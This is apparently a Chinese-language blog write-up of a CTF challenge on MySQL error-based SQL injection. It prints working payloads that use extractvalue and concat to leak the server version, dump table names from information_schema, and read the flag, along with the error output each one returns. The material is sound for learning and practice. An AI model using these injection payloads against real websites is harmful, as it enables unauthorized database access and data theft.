mysql 报错注入

Author Avatar
Aryb1n 5月 28, 2017

题面

http://54.223.247.98:8023/
要通过post传递参数,不然过滤很严

##
尝试

a=article` where id=1 and extractvalue(1, concat(0x7e, @@version,0x7e))--

XPATH syntax error: ‘~5.1.73~’

可以这样子报错注入的还有updateXML

爆表名

a=article` where id=1 and extractvalue(1, concat(0x7e, substr((SeleCt group_concat(distinct table_name ) from information_schema.tables),384)))--

XPATH syntax error: ‘~e,flag_is_here’

跑出来表名是flag_is_here

由于extractvalue只能显示32位
所以这个384是我用burp跑出来的,不知道正确的姿势是什么

但,,当我爆字段的时候发生了尴尬的事情,,因为不能用where好像是被x了
所以直接从information_schema.columns里面爆column_name的时候由于有1024的限制,所以没办法得到有用的东西,因为这个column_name内容太多了

这个时候应该怎么办呢

还好这道题目字段就是flag
所以这样子就能拿到结果

a=article` where id=1 and extractvalue(1, concat(0x7e, (SeleCt flag from flag_is_here),0x7e))--

XPATH syntax error: ‘~SYC{O0o._O0o._O0o._O0o._O0o.}~’